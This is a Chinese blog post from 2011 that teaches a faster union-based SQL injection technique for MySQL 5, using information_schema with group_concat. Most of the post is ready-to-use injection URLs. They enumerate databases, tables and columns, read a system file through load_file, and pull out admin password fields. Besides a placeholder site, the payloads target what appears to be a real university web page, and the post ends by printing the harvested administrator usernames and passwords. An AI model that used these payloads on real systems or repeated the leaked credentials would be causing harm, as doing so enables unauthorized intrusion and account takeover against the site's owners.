Mysql注入高效率方法

此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人

优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
读出所有库:
http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
 
读出所有表:
http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
读出所有表字段:
http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
*/ (97,100,109,105,110)为admin的ascii码 依次类推
读出所有表字段里的内容:
http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
 
http://www.sim.whu.edu.cn/xuekedaohang/xkdh.php?ssort=1&&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23

http://www.sim.whu.edu.cn/xuekedaohang/xkdh.php?ssort=1&&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
http://www.sim.whu.edu.cn/xuekedaohang/xkdh.php?ssort=1&&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23

http://www.sim.whu.edu.cn/xuekedaohang/xkdh.php?ssort=1&&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23

 webmaster:dzb521123,simlab:simadmin20043233

posted on 2011-05-02 00:17  小宝哥哥  阅读(415)  评论(0编辑  收藏  举报

导航

Tasup